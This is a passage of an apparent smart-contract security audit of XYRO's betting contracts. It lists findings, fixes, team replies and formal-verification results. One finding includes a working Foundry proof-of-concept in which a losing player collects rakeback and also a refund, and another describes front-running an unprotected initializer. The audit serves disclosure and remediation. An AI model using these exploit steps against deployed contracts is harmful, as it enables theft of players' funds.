The team resolved this issue by heeding the advice in the updated version c72c06a3c1ceb178d0c9c887fcb9afcb04e44a4e.

SET-01 INCONSISTENT `withdrawStatus` UPDATE ON RAKEBACK WITHDRAWAL

Category	Severity	Location	Status
Logical Issue	Minor	Setup.sol (12/03-740df0): 579	Resolved

Description

The `retrieveRewards` function in the smart contract allows users to claim rewards based on game outcomes. However, when withdrawing rakeback assets, the function does not update the `withdrawStatus` for the user, which could lead to inconsistency in tracking withdrawal statuses. Below is the relevant code snippet:

```
if (withdrawStatus[gameIds[i]][msg.sender] == UserStatus.SL) {
    require(
        ITreasury(treasury).lockedRakeback(
            gameIds[i],
            msg.sender
        ) != 0,
        "You lost"
    );
    ITreasury(treasury).withdrawRakebackSetup(
        gameIds[i],
        msg.sender
    );
    // Missing update to withdrawStatus here
}
```

Due to the weak validation of game status in `closeGame()`, if the official mistakenly calls `closeGame()` after `finalizeGame()`, it will allow the losing players to refund their principal in the game after receiving the rakeBack.

Scenario

We simulated the following error scenario for the `closeGame()` function:

1. A user calls `createSetup` to create a setup.
2. Player 1 contributes 1000 USDT to support the setup.
3. Player 2 contributes 1000 USDT to oppose the setup and holds 50,000 XYRO at the time of play.
4. The game master calls `finalizeGame()`.
5. Player 2 calls `retrieveRewards()` to claim the rakeback（60 usdt).
6. The game master mistakenly calls `closeGame()` to close the game.

7. Player 2 calls `getRefund` to withdraw the principal(1000 usdt).

In this scenario, Player 1's earnings or principal will be locked in the treasury and cannot be withdrawn.

Proof of Concept

Use the following forge test script for testing:

```
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.24;

import {Test, console} from "forge-std/Test.sol";
import {Treasury} from "../contracts/Treasury.sol";
import {IDataStreamsVerifier,Setup} from "../contracts/Setup.sol";
import {MockERC20} from "./MockERC20.sol";
import {XyroToken} from "../contracts/XyroToken.sol";

contract SetupTest is Test {

    Treasury public treasury;
    Setup private setup;
    MockERC20 public usdt;
    XyroToken public xyroToken;
    address public dataStreamVerifier =
address(uint160(uint256(keccak256("dataStreamVerifier"))));

    address public deployer = address(uint160(uint256(keccak256("deployer"))));
    address public player1 = address(uint160(uint256(keccak256("player1"))));
    address public player2 = address(uint160(uint256(keccak256("player2"))));

    function setUp() public {

        vm.startPrank(deployer);

        usdt = new MockERC20("Tether USD","USDT",6,1000_000_000);

        //Initial funding
        usdt.transfer(player1, 1_000 * 10 ** usdt.decimals());
        usdt.transfer(player2, 1_000 * 10 ** usdt.decimals());

        xyroToken = new XyroToken(1000_000_000 * 10 ** 18);

        xyroToken.transfer(player1,50_000 * 10 ** 18);
        xyroToken.transfer(player2,50_000 * 10 ** 18);

        //Convenience, not using proxy mode
        treasury = new Treasury();

        treasury.initialize(address(usdt), address(xyroToken));

        treasury.setUpkeep(dataStreamVerifier);

        setup = new Setup(address(treasury));
        setup.setTreasury(address(treasury));

        setup.grantRole(keccak256("GAME_MASTER_ROLE"), deployer);
        treasury.grantRole(keccak256("DISTRIBUTOR_ROLE"), address(setup));
```

```
        vm.stopPrank();
    }

    function test_rakeBackAndRefund() public{


        console.log("before player2 balance:",usdt.balanceOf(player2) / (10 **
usdt.decimals()));

        uint8 feedNumber = uint8(10);
        bytes memory unverifiedReport1 = "mock1";
        bytes memory unverifiedReport2 = "mock2";

        vm.startPrank(deployer);

        vm.mockCall(dataStreamVerifier,
abi.encodeWithSelector(IDataStreamsVerifier.verifyReportWithTimestamp.selector,unver
ifiedReport1,feedNumber),
        abi.encode(int192(10 ** 18),uint32(block.timestamp)));

        setup.createSetup(true,uint32(block.timestamp + 1 hours),uint32(10 ** 4 +
1),uint32(10 ** 4 - 1),feedNumber,address(usdt),unverifiedReport1);

        bytes32 gameId =
keccak256(abi.encodePacked(block.timestamp,uint32(block.timestamp + 1
hours),uint32(10 ** 4 + 1),uint32(10 ** 4 - 1),deployer));

        vm.stopPrank();

        vm.warp(block.timestamp + 1);

        vm.startPrank(player1);

        usdt.approve(address(treasury), 1000 * 10 ** usdt.decimals());

        //player1 normally play this game
        setup.play(true,1000 * 10 ** usdt.decimals(),gameId);

        vm.stopPrank();

        vm.startPrank(player2);

        usdt.approve(address(treasury), 1000 * 10 ** usdt.decimals());

        //player2 normally play this game
        setup.play(false,1000 * 10 ** usdt.decimals(),gameId);

        vm.stopPrank();
```

```
        vm.warp(block.timestamp + 1 hours);

        //finalize game,and player2 failed
        vm.startPrank(deployer);

        vm.mockCall(dataStreamVerifier,
abi.encodeWithSelector(IDataStreamsVerifier.verifyReportWithTimestamp.selector,unver
ifiedReport2,feedNumber),
        abi.encode(int192(2 * 10 ** 18),uint32(block.timestamp)));

        setup.finalizeGame(unverifiedReport2,gameId);

        vm.stopPrank();

        //now player2 can retire rakeBack.
        vm.startPrank(player2);

        bytes32[] memory gameIds = new bytes32[](1);
        gameIds[0] = gameId;

        //get rakeback reward
        setup.retrieveRewards(gameIds);

        vm.stopPrank();

        //game master close game

        vm.warp(block.timestamp + 1 );

        vm.prank(deployer);

        setup.closeGame(gameId);

        vm.startPrank(player2);

        //get deposit refund
        setup.getRefund(gameId);

        treasury.withdraw(treasury.deposits(address(usdt),player2), address(usdt));

        vm.stopPrank();

        console.log("after player2 balance:",usdt.balanceOf(player2) / (10 **
usdt.decimals()));

    }
}
```

Results:

```
Ran 1 test for test/SetUpTest.t.sol:SetupTest
[PASS] test_rakeBackAndRefund() (gas: 607754)
Logs:
  before player2 balance: 1000
  after player2 balance: 1060
```

Recommendation

Update the `withdrawStatus` to `UserStatus.Claimed` after successfully executing a rakeback withdrawal. This change ensures that the status accurately reflects the user's withdrawal actions and maintains consistency across the contract's state.

Alleviation

[XYRO, 12/31/2024]:

The team resolved this issue by heeding the advice in the updated version c72c06a3c1ceb178d0c9c887fcb9afcb04e44a4e.

SET-02 | LACK OF END TIME VALIDATION IN `Setup` CONTRACT'S REPORT FINALIZATION

Category	Severity	Location	Status
Inconsistency, Logical Issue	Minor	Setup.sol (12/03-740df0): 408~410	Resolved

Description

In the `Setup` contract, the process of finalizing a game involves decoding the `finalPrice` and `endTime` from the `unverifiedReport`. However, unlike other game contracts, the `Setup` contract does not validate whether the `endTime` is outdated. This oversight can lead to the contract utilizing an outdated report, potentially causing incorrect game finalization and financial discrepancies.

Code snippet:

```
(int192 finalPrice, uint256 endTime) = IDataStreamsVerifier(
    ITreasury(treasury).upkeep()
).verifyReportWithTimestamp(unverifiedReport, data.feedNumber);
```

Recommendation

Implement a validation check for the `endTime` in the `Setup` contract to ensure it is not outdated.

Alleviation

[XYRO, 12/25/2024]:

The team resolved this issue by heeding the advice in the updated version 0a08cfae3ad04994241553312aa406350ebb3c73.

SET-03 | WEAK GAME STATE CHECK IN `closeGame` OF `Setup` GAME

Category	Severity	Location	Status
Access Control	Minor	Setup.sol (12/03-740df0): 355~370	Resolved

Description

In `setUp`, as long as `block.timestamp > data.endTime`, the game master can call the `closeGame()` function:

`Setup.sol`

```
355     function closeGame(bytes32 gameId) public onlyRole(GAME_MASTER_ROLE) {
356         GameInfo memory data = decodeData(gameId);
357         require(data.startTime != 0, "Game doesn't exist");
358         require(
359             ((data.startTime + (data.endTime - data.startTime) / 3 <
360                 block.timestamp &&
361                 (data.SLplayers == 0 || data.TPplayers == 0)) ||
362                 block.timestamp > data.endTime),
363             "Wrong status!"
364         );
365         //rewrites status
366         games[gameId].packedData2 =
367             (games[gameId].packedData2 & ~(uint256(0xFF) << 72)) |
368             (uint256(uint8(Status.Cancelled)) << 72);
369         emit SetupCancelled(gameId, data.initiator);
370     }
```

When the game master mistakenly calls this function, changing the game's status from "finished" to "cancelled", it will allow the losing player to refund their principal from the game, while preventing the winning player from receiving the reward. Only the principal can be refunded to winning player.

Recommendation

Enhance the state check to only allow games in the "Created" state to call this function.

Alleviation

[XYRO, 12/25/2024]:

The team resolved this issue by heeding the advice in the updated version 0a08cfae3ad04994241553312aa406350ebb3c73.

SET-04 ALL UNSTARTED GAMES IN `Setup` ARE IN THE "CREATED" STATE

Category	Severity	Location	Status
Coding Issue	Minor	Setup.sol (12/03-740df0): 32~36	Resolved

Description

Since the state at the first position in the `enum` corresponds to the number 0, any unstarted game is in state 0, i.e., the "Created" state. This makes the game state checks in some functions of the contract ineffective.

Recommendation

add "Default" Status, like this:

```
enum Status {
    Default,
    Created,
    Cancelled,
    Finished
}
```

Alleviation

[XYRO, 12/25/2024]:

The team resolved this issue by heeding the advice in the updated version 0a08cfae3ad04994241553312aa406350ebb3c73.

SET-05 | LACK OF `gameId` EXISTENCE CHECK IN `createSetup()` OF SETUP

Category	Severity	Location	Status
Coding Issue	Minor	Setup.sol (12/03-740df0): 128~136	Resolved

Description

`createSetup()` lacks a check for the existence of `gameId`. When a user creates two games with the same `gameId` at the same time, the second one will overwrite the first.

Recommendation

It is recommended to add a check for the existence of `gameId` in the function.

Alleviation

[XYRO, 12/25/2024]:
The team resolved this issue by heeding the advice in the updated version 0a08cfae3ad04994241553312aa406350ebb3c73.

TRE-04 | UNPROTECTED UPGRADEABLE CONTRACT

Category	Severity	Location	Status
Logical Issue	Minor	Treasury.sol (12/03-740df0): 40	Resolved

Description

The `Treasury` logic contract does not protect the initializer. An attacker can front-run the `initialize` call and assume ownership of the logic contract. Once in control, the attacker can perform privileged operations, misleading users into believing that they are interacting with the legitimate owner of the upgradeable contract.

Recommendation

We recommend adding

```
/// @custom:oz-upgrades-unsafe-allow constructor
constructor() initializer {...}
```

OR

```
/// @custom:oz-upgrades-unsafe-allow constructor
constructor() {
  ...
  _disableInitializers();
}
```

This addition will prevent the function `$INIT()` from being called directly in the implementation contract, but the proxy will still be able to initialize its storage variables.

Alleviation

[XYRO, 12/25/2024]:
The team resolved this issue by heeding the advice in the updated version 0a08cfae3ad04994241553312aa406350ebb3c73.

TRE-05 | PERMIT FUNCTION DOESN'T COMPLY WITH DAI TOKEN

Category	Severity	Location	Status
Design Issue	Minor	Treasury.sol (12/03-740df0): 182~190, 220~228	Resolved

Description

Several contracts implement a feature allowing users to grant token allowances through a permit signature.

However, there is a compatibility issue with the `DAI` stablecoin's unique permit function signature. The `DAI` contract at address `0x6B175474E89094C44Da98b954EedeAC495271d0F` defines its permit function with the following parameters: `function permit(address holder, address spender, uint256 nonce, uint256 expiry, bool allowed, uint8 v, bytes32 r, bytes32 s)` . This signature differs from the expected format, resulting in failed transactions because the contract's parameters do not align with those required by DAI's permit function. Consequently, any attempt to execute permit transactions with the incorrect parameters will inevitably fail.

Recommendation

To address the compatibility issue with the DAI token's unique permit function, a targeted solution should be implemented if the `DAI` token is within the scope of usage. Specifically, when interacting with the `DAI` token, the contract should utilize a specialized version of the permit function that accommodates the DAI-specific nonce parameter.

Alleviation

[XYRO Team, 12/24/2024]:

We had no plans to use DAI. If we add stablecoins, we will add others. Not relevant for us.

TRE-10 | `refundWithFee` SHOULD NOT CALCULATE RAKEBACK

Category	Severity	Location	Status
Incorrect Calculation	Minor	Treasury.sol (12/03-740df0): 359~366	Resolved

Description

For refunds, rakeback should not be calculated and added to the user's deposits. This portion of the rakeback is redundant and could potentially cause an underflow in `locked[gameId]`. Since the current game, `OneVsOneExactPrice`, does not calculate rakeback, underflow will not occur for now. However, future games may encounter this issue.

Recommendation

It is recommended not to distribute rakeback during the refund process.

Alleviation

[XYRO, 12/25/2024]:
The team resolved this issue by heeding the advice in the updated version 0a08cfae3ad04994241553312aa406350ebb3c73.

UDB-05 | LACK OF CHECKS IN `setStartingPrice()` IN `UpDown`

Category	Severity	Location	Status
Logical Issue	Minor	UpDown.sol (12/03-740df0): 234~253	Resolved

Description

`UpDown.sol`

```
234     function setStartingPrice(
235         bytes memory unverifiedReport
236     ) public onlyRole(GAME_MASTER_ROLE) {
237         GameInfo memory game = decodeData();
238         require(block.timestamp >= game.stopPredictAt, "Too early");
239         require(
240             UpPlayers.length != 0 || DownPlayers.length != 0,
241             "Not enough players"
242         );
243         address upkeep = ITreasury(treasury).upkeep();
244         (int192 startingPrice, uint32 priceTimestamp) = IDataStreamsVerifier(
245             upkeep
246         ).verifyReportWithTimestamp(unverifiedReport, game.feedNumber);
247         require(
248             block.timestamp - priceTimestamp <= 1 minutes,
249             "Old chainlink report"
250         );
251         packedData |= uint192(startingPrice / 1e14) << 104;
252         emit UpDownStarted(startingPrice, currentGameId);
253     }
```

Since `setStartingPrice` only requires `block.timestamp` to be greater than or equal to `game.stopPredictAt` and does not require `block.timestamp` to be less than `game.endTime`, this allows the game master to set the starting price after the game has ended.

The function does not check if the `startingPrice` in `packedData` is 0, which allows the game master to repeatedly call the function to set the `startingPrice` multiple times after `game.stopPredictAt`.

The function only checks `require(block.timestamp - priceTimestamp <= 1 minutes, "Old chainlink report");`, but does not restrict the time difference between `priceTimestamp` and `game.stopPredictAt`, which allows an expired price to be set as the starting price.

Recommendation

It is recommended to add the corresponding checks.

Alleviation

[XYRO, 12/25/2024]:

The team resolved this issue by heeding the advice in the updated version 0a08cfae3ad04994241553312aa406350ebb3c73.

CON-06 SOLIDITY VERSION 0.8.23 WON'T WORK FOR ALL CHAINS DUE TO MCOPY

Category	Severity	Location	Status
Design Issue	Informational	Bullseye.sol (12/03-740df0): 2; OneVsOneExactPrice.sol (12/03-740df0): 2; Setup.sol (12/03-740df0): 2; Treasury.sol (12/03-740df0): 2; UpDown.sol (12/03-740df0): 2	Resolved

Description

Since Solidity Release 0.8.23, `MCOPY` opcode is introduced. However, this may not be compatible with all chains and L2s. As a result, the compatibility of the code could be affected.

Recommendation

To mitigate this issue, it is recommended to ensure the target chains support `MCOPY` or use an earlier solidity version.

Alleviation

[XYRO, 12/25/2024]:
We will be aware of this issue if we consider deploying on other chains. For now Arbitrum is enough and it supports this opcode.

CON-07 SOLIDITY VERSION 0.8.20 MAY NOT WORK ON OTHER CHAINS DUE TO `PUSH0`

Category	Severity	Location	Status
Logical Issue	Informational	Bullseye.sol (12/03-740df0): 2; OneVsOneExactPrice.sol (12/03-740df0): 2; Setup.sol (12/03-740df0): 2; Treasury.sol (12/03-740df0): 2; UpDown.sol (12/03-740df0): 2	Resolved

Description

The compiler for Solidity 0.8.20 switches the default target EVM version to Shanghai, which includes the new `PUSH0` op code. This op code may not yet be implemented on all L2s, so deployment on these chains will fail. To work around this issue, use an earlier EVM version

Recommendation

It's recommended to pay attention to the EVM complier version when using 0.8.20 solidity version in your contract.

Alleviation

[XYRO, 12/25/2024]:

Issue acknowledged. We won't make any changes because we aim for Arbitrum and it supports `PUSH0`.

CON-08 | MISSING EMIT EVENTS

Category	Severity	Location	Status
Coding Style	Informational	Bullseye.sol (12/03-740df0): 417, 466; OneVsOneExactPrice.sol (12/03-740df0): 564, 597, 606; Setup.sol (12/03-740df0): 740, 783; Treasury.sol (12/03-740df0): 69, 82, 94, 146, 247, 299, 376, 437, 503, 585, 606; UpDown.sol (12/03-740df0): 447	Partially Resolved

Description

There should always be events emitted in the sensitive functions that are controlled by centralization roles.

Recommendation

It is recommended emitting events for the sensitive functions that are controlled by centralization roles.

Alleviation

[XYRO, 12/31/2024]:

The team partially resolved this issue in the updated version c72c06a3c1ceb178d0c9c887fcb9afcb04e44a4e.

CON-11 THE GAME'S `createGame()` FUNCTION DOES NOT RETURN THE `gameId` .

Category	Severity	Location	Status
Design Issue	Informational	Bullseye.sol (12/03-740df0): 83~89; OneVsOneExactPrice.sol (12/03-740df0): 84~91; Setup.sol (12/03-740df0): 110~118; UpDown.sol (12/03-740df0): 66~72	Acknowledged

Description

When the game master or a user calls the game's `createGame()` function and successfully creates a game, it does not return the corresponding `gameId` , which is very inconvenient.

Recommendation

It is recommended to return the `gameId` as the output of this function.

Alleviation

[XYRO Team, 12/24/2024]:

We call the game start functions from our backend and get the gameId from the transaction event. We don't have a case for getting the gameId from a function.

How do you expect to use this?

[CertiK, 12/25/2024]:

Thank you for your response. Generally speaking, returning the gameId would make the function more standardized. Additionally, for users interacting directly with the blockchain and those using the contract, it would be more convenient to obtain the gameId directly from the function's return value.

For the project team and developers, if future contracts require the gameId for the game, returning it after the game starts would also be more convenient.

SET-06 CONFIRMATION ON EXECUTION TIME OF `Setup` GAME FINALIZATION

Category	Severity	Location	Status
Logical Issue	Informational	Setup.sol (12/03-740df0): 402~405	Resolved

Description

In the `Setup` contract, the `GAME_MASTER_ROLE` has the ability to finalize the game before the designated end time. Finalization is permissible when the game's status is set to `Created`, and the `finalPrice` falls within the range of `stopLossPrice` and `takeProfitPrice`. This behavior is inconsistent with other games such as `Bullseye`, `OneVsOneExactPrice`, and `UpDown`, where finalization is only allowed after the `game.endTime` has been reached.

Recommendation

We would like to confirm with the team whether this current behavior in `Setup` is intentional.

Alleviation

[Xyro Team, 12/24/2024]:

This game mode simulates an order on the stock exchange. Therefore, when take profit or stop loss is reached, it closes as it has reached its goal. And so it is with the set-up. When reaching the endTime, it closes, and the bets are returned as the goal was not reached. So we can say that this is part of the logic.

In one of the following issues, we realized that we could close the game with a price with time greater than startTime and less than endTime to exclude price manipulation.

TRE-07 | INHERITED CONTRACTS NOT INITIALIZED IN INITIALIZER

Category	Severity	Location	Status
Logical Issue	Informational	Treasury.sol (12/03-740df0): 13	Resolved

Description

Contract `Treasury` extends `AccessControlUpgradeable`, but the extended contract is not initialized by the current contract. Generally, the initializer function of a contract should always call all the initializer functions of the contracts that it extends.

Recommendation

We recommend initializing `AccessControlUpgradeable`.

Alleviation

[XYRO, 12/25/2024]:
The team resolved this issue by heeding the advice in the updated version 0a08cfae3ad04994241553312aa406350ebb3c73.

FORMAL VERIFICATION | XYRO - AUDITS

Formal guarantees about the behavior of smart contracts can be obtained by reasoning about properties relating to the entire contract (e.g. contract invariants) or to specific functions of the contract. Once such properties are proven to be valid, they guarantee that the contract behaves as specified by the property. As part of this audit, we applied formal verification to prove that important functions in the smart contracts adhere to their expected behaviors.

Considered Functions And Scope

In the following, we provide a description of the properties that have been used in this audit. They are grouped according to the type of contract they apply to.

Verification of contracts derived from AccessControl v4.4

We verified properties of the public interface of contracts that provide an AccessControl-v4.4 compatible API. This involves:

- The `hasRole` function, which returns `true` if an account has been granted a specific `role`.
- The `getRoleAdmin` function, which returns the admin role that controls a specific `role`.
- The `grantRole` and `revokeRole` functions, which are used for granting a `role` to an account and revoking a `role` from an `account`, respectively.
- The `renounceRole` function, which allows the calling account to revoke a `role` from itself.

The properties that were considered within the scope of this audit are as follows:

Property Name	Title
accesscontrol-renouncerole-succeed-role-renouncing	`renounceRole` Successfully Renounces Role
accesscontrol-default-admin-role	AccessControl Default Admin Role Invariance
accesscontrol-hasrole-change-state	`hasRole` Function Does Not Change State
accesscontrol-revokerole-correct-role-revoking	`revokeRole` Correctly Revokes Role
accesscontrol-grantrole-correct-role-granting	`grantRole` Correctly Grants Role
accesscontrol-hasrole-succeed-always	`hasRole` Function Always Succeeds
accesscontrol-renouncerole-revert-not-sender	`renounceRole` Reverts When Caller Is Not the Confirmation Address
accesscontrol-getroleadmin-succeed-always	`getRoleAdmin` Function Always Succeeds
accesscontrol-getroleadmin-change-state	`getRoleAdmin` Function Does Not Change State

Verification Results

For the following contracts, formal verification established that each of the properties that were in scope of this audit (see scope) are valid:

Detailed Results For Contract OneVsOneExactPrice (contracts/OneVsOneExactPrice.sol) In Commit c72c06a3c1ceb178d0c9c887fcb9afcb04e44a4e

Verification of contracts derived from AccessControl v4.4

Detailed Results for Function `renounceRole`

Property Name	Final Result	Remarks
accesscontrol-renouncerole-succeed-role-renouncing	True	
accesscontrol-renouncerole-revert-not-sender	True	

Detailed Results for Function `DEFAULT_ADMIN_ROLE`

Property Name	Final Result	Remarks
accesscontrol-default-admin-role	True	

Detailed Results for Function `hasRole`

Property Name	Final Result	Remarks
accesscontrol-hasrole-change-state	True	
accesscontrol-hasrole-succeed-always	True	

Detailed Results for Function `revokeRole`

Property Name	Final Result	Remarks
accesscontrol-revokerole-correct-role-revoking	True	

Detailed Results for Function `grantRole`

Property Name	Final Result	Remarks
accesscontrol-grantrole-correct-role-granting	True	

Detailed Results for Function `getRoleAdmin`

Property Name	Final Result	Remarks
accesscontrol-getroleadmin-succeed-always	True	
accesscontrol-getroleadmin-change-state	True	

Detailed Results For Contract Setup (contracts/Setup.sol) In Commit c72c06a3c1ceb178d0c9c887fcb9afcb04e44a4e

Verification of contracts derived from AccessControl v4.4

Detailed Results for Function `renounceRole`

Property Name	Final Result	Remarks
accesscontrol-renouncerole-revert-not-sender	True	
accesscontrol-renouncerole-succeed-role-renouncing	True	

Detailed Results for Function `hasRole`

Property Name	Final Result	Remarks
accesscontrol-hasrole-succeed-always	True	
accesscontrol-hasrole-change-state	True	

Detailed Results for Function `getRoleAdmin`

Property Name	Final Result	Remarks
accesscontrol-getroleadmin-succeed-always	True	
accesscontrol-getroleadmin-change-state	True	

Detailed Results for Function `DEFAULT_ADMIN_ROLE`

Property Name	Final Result	Remarks
accesscontrol-default-admin-role	True	

Detailed Results for Function `revokeRole`

Property Name	Final Result	Remarks
accesscontrol-revokerole-correct-role-revoking	True	

Detailed Results for Function `grantRole`

Property Name	Final Result	Remarks
accesscontrol-grantrole-correct-role-granting	True	

Detailed Results For Contract UpDown (contracts/UpDown.sol) In Commit c72c06a3c1ceb178d0c9c887fcb9afcb04e44a4e

Verification of contracts derived from AccessControl v4.4

Detailed Results for Function `renounceRole`

Property Name	Final Result	Remarks
accesscontrol-renouncerole-revert-not-sender	True	
accesscontrol-renouncerole-succeed-role-renouncing	True	

Detailed Results for Function `DEFAULT_ADMIN_ROLE`

Property Name	Final Result	Remarks
accesscontrol-default-admin-role	True	

Detailed Results for Function `getRoleAdmin`

Property Name	Final Result	Remarks
accesscontrol-getroleadmin-succeed-always	True	
accesscontrol-getroleadmin-change-state	True	

Detailed Results for Function `hasRole`

Property Name	Final Result	Remarks
accesscontrol-hasrole-succeed-always	True	
accesscontrol-hasrole-change-state	True	

Detailed Results for Function `revokeRole`

Property Name	Final Result	Remarks
accesscontrol-revokerole-correct-role-revoking	True	

Detailed Results for Function `grantRole`

Property Name	Final Result	Remarks
accesscontrol-grantrole-correct-role-granting	True	

Detailed Results For Contract OneVsOneExactPrice (contracts/OneVsOneExactPrice.sol) In Commit 0a08cfae3ad04994241553312aa406350ebb3c73

Verification of contracts derived from AccessControl v4.4

Detailed Results for Function `getRoleAdmin`

Property Name	Final Result	Remarks
accesscontrol-getroleadmin-succeed-always	True	
accesscontrol-getroleadmin-change-state	True	

Detailed Results for Function `DEFAULT_ADMIN_ROLE`

Property Name	Final Result	Remarks
accesscontrol-default-admin-role	True	

Detailed Results for Function `renounceRole`

Property Name	Final Result	Remarks
accesscontrol-renouncerole-succeed-role-renouncing	True	
accesscontrol-renouncerole-revert-not-sender	True	

Detailed Results for Function `hasRole`

Property Name	Final Result	Remarks
accesscontrol-hasrole-change-state	True	
accesscontrol-hasrole-succeed-always	True	

Detailed Results for Function `revokeRole`

Property Name	Final Result	Remarks
accesscontrol-revokerole-correct-role-revoking	True	

Detailed Results for Function `grantRole`

Property Name	Final Result	Remarks
accesscontrol-grantrole-correct-role-granting	True	

Detailed Results For Contract Setup (contracts/Setup.sol) In Commit 0a08cfae3ad04994241553312aa406350ebb3c73

Verification of contracts derived from AccessControl v4.4

Detailed Results for Function `renounceRole`

Property Name	Final Result	Remarks
accesscontrol-renouncerole-revert-not-sender	True	
accesscontrol-renouncerole-succeed-role-renouncing	True	

Detailed Results for Function `hasRole`

Property Name	Final Result	Remarks
accesscontrol-hasrole-succeed-always	True	
accesscontrol-hasrole-change-state	True	

Detailed Results for Function `getRoleAdmin`

Property Name	Final Result	Remarks
accesscontrol-getroleadmin-succeed-always	True	
accesscontrol-getroleadmin-change-state	True	

Detailed Results for Function `DEFAULT_ADMIN_ROLE`

Property Name	Final Result	Remarks
accesscontrol-default-admin-role	True	

Detailed Results for Function `revokeRole`

Property Name	Final Result	Remarks
accesscontrol-revokerole-correct-role-revoking	True	

Detailed Results for Function `grantRole`

Property Name	Final Result	Remarks
accesscontrol-grantrole-correct-role-granting	True	

Detailed Results For Contract UpDown (contracts/UpDown.sol) In Commit 0a08cfae3ad04994241553312aa406350ebb3c73

Verification of contracts derived from AccessControl v4.4

Detailed Results for Function `hasRole`

Property Name	Final Result	Remarks
accesscontrol-hasrole-succeed-always	True	
accesscontrol-hasrole-change-state	True	

Detailed Results for Function `renounceRole`

Property Name	Final Result	Remarks
accesscontrol-renouncerole-revert-not-sender	True	
accesscontrol-renouncerole-succeed-role-renouncing	True	

Detailed Results for Function `getRoleAdmin`

Property Name	Final Result	Remarks
accesscontrol-getroleadmin-succeed-always	True	
accesscontrol-getroleadmin-change-state	True	

Detailed Results for Function `DEFAULT_ADMIN_ROLE`

Property Name	Final Result	Remarks
accesscontrol-default-admin-role	True	

Detailed Results for Function `grantRole`

Property Name	Final Result	Remarks
accesscontrol-grantrole-correct-role-granting	True	

Detailed Results for Function `revokeRole`

Property Name	Final Result	Remarks
accesscontrol-revokerole-correct-role-revoking	True	

Detailed Results For Contract OneVsOneExactPrice (contracts/OneVsOneExactPrice.sol) In Commit 740df06eed24a04f0e739c7c6332466dc6bae295

Verification of contracts derived from AccessControl v4.4

Detailed Results for Function `renounceRole`

Property Name	Final Result	Remarks
accesscontrol-renouncerole-revert-not-sender	True	
accesscontrol-renouncerole-succeed-role-renouncing	True	

Detailed Results for Function `hasRole`

Property Name	Final Result	Remarks
accesscontrol-hasrole-change-state	True	
accesscontrol-hasrole-succeed-always	True	

Detailed Results for Function `getRoleAdmin`

Property Name	Final Result	Remarks
accesscontrol-getroleadmin-change-state	True	
accesscontrol-getroleadmin-succeed-always	True	

Detailed Results for Function `DEFAULT_ADMIN_ROLE`

Property Name	Final Result	Remarks
accesscontrol-default-admin-role	True	

Detailed Results for Function `revokeRole`

Property Name	Final Result	Remarks
accesscontrol-revokerole-correct-role-revoking	True	

Detailed Results for Function `grantRole`

Property Name	Final Result	Remarks
accesscontrol-grantrole-correct-role-granting	True	

Detailed Results For Contract Setup (contracts/Setup.sol) In Commit 740df06eed24a04f0e739c7c6332466dc6bae295

Verification of contracts derived from AccessControl v4.4

Detailed Results for Function `hasRole`

Property Name	Final Result	Remarks
accesscontrol-hasrole-change-state	True	
accesscontrol-hasrole-succeed-always	True	

Detailed Results for Function `DEFAULT_ADMIN_ROLE`

Property Name	Final Result	Remarks
accesscontrol-default-admin-role	True	

Detailed Results for Function `revokeRole`

Property Name	Final Result	Remarks
accesscontrol-revokerole-correct-role-revoking	True	

Detailed Results for Function `grantRole`

Property Name	Final Result	Remarks
accesscontrol-grantrole-correct-role-granting	True	

Detailed Results for Function `renounceRole`

Property Name	Final Result	Remarks
accesscontrol-renouncerole-revert-not-sender	True	
accesscontrol-renouncerole-succeed-role-renouncing	True	

Detailed Results for Function `getRoleAdmin`

Property Name	Final Result	Remarks
accesscontrol-getroleadmin-succeed-always	True	
accesscontrol-getroleadmin-change-state	True	

Detailed Results For Contract UpDown (contracts/UpDown.sol) In Commit 740df06eed24a04f0e739c7c6332466dc6bae295

Verification of contracts derived from AccessControl v4.4

Detailed Results for Function `getRoleAdmin`

Property Name	Final Result	Remarks
accesscontrol-getroleadmin-succeed-always	True	
accesscontrol-getroleadmin-change-state	True	

Detailed Results for Function `renounceRole`

Property Name	Final Result	Remarks
accesscontrol-renouncerole-revert-not-sender	True	
accesscontrol-renouncerole-succeed-role-renouncing	True	

Detailed Results for Function `hasRole`

Property Name	Final Result	Remarks
accesscontrol-hasrole-succeed-always	True	
accesscontrol-hasrole-change-state	True	

Detailed Results for Function `DEFAULT_ADMIN_ROLE`

Property Name	Final Result	Remarks
accesscontrol-default-admin-role	True	

Detailed Results for Function `grantRole`

Property Name	Final Result	Remarks
accesscontrol-grantrole-correct-role-granting	True	

Detailed Results for Function `revokeRole`

Property Name	Final Result	Remarks
accesscontrol-revokerole-correct-role-revoking	True	

APPENDIX | XYRO - AUDITS

Finding Categories

Categories	Description
Coding Style	Coding Style findings may not affect code behavior, but indicate areas where coding practices can be improved to make the code more understandable and maintainable.
Coding Issue	Coding Issue findings are about general code quality including, but not limited to, coding mistakes, compile errors, and performance issues.
Incorrect Calculation	Incorrect Calculation findings are about issues in numeric computation such as rounding errors, overflows, out-of-bounds and any computation that is not intended.
Access Control	Access Control findings are about security vulnerabilities that make protected assets unsafe.
Inconsistency	Inconsistency findings refer to different parts of code that are not consistent or code that does not behave according to its specification.
Volatile Code	Volatile Code findings refer to segments of code that behave unexpectedly on certain edge cases and may result in vulnerabilities.
Logical Issue	Logical Issue findings indicate general implementation issues related to the program logic.
Centralization	Centralization findings detail the design choices of designating privileged roles or other centralized controls over the code.
Design Issue	Design Issue findings indicate general issues at the design level beyond program logic that are not covered by other finding categories.

Checksum Calculation Method

The "Checksum" field in the "Audit Scope" section is calculated as the SHA-256 (Secure Hash Algorithm 2 with digest size of 256 bits) digest of the content of each file hosted in the listed source repository under the specified commit.

The result is hexadecimal encoded and is the same as the output of the Linux "sha256sum" command against the target file.

Details on Formal Verification

Some Solidity smart contracts from this project have been formally verified. Each such contract was compiled into a mathematical model that reflects all its possible behaviors with respect to the property. The model takes into account the semantics of the Solidity instructions found in the contract. All verification results that we report are based on that model.

The following assumptions and simplifications apply to our model:

- Certain low-level calls and inline assembly are not supported and may lead to a contract not being formally verified.
- We model the semantics of the Solidity source code and not the semantics of the EVM bytecode in a compiled contract.

Formalism for property specifications

All properties are expressed in a behavioral interface specification language that CertiK has developed for Solidity, which allows us to specify the behavior of each function in terms of the contract state and its parameters and return values, as well as contract properties that are maintained by every observable state transition. Observable state transitions occur when the contract's external interface is invoked and the invocation does not revert, and when the contract's Ether balance is changed by the EVM due to another contract's "self-destruct" invocation. The specification language has the usual Boolean connectives, as well as the operator `\old` (used to denote the state of a variable before a state transition), and several types of specification clause:

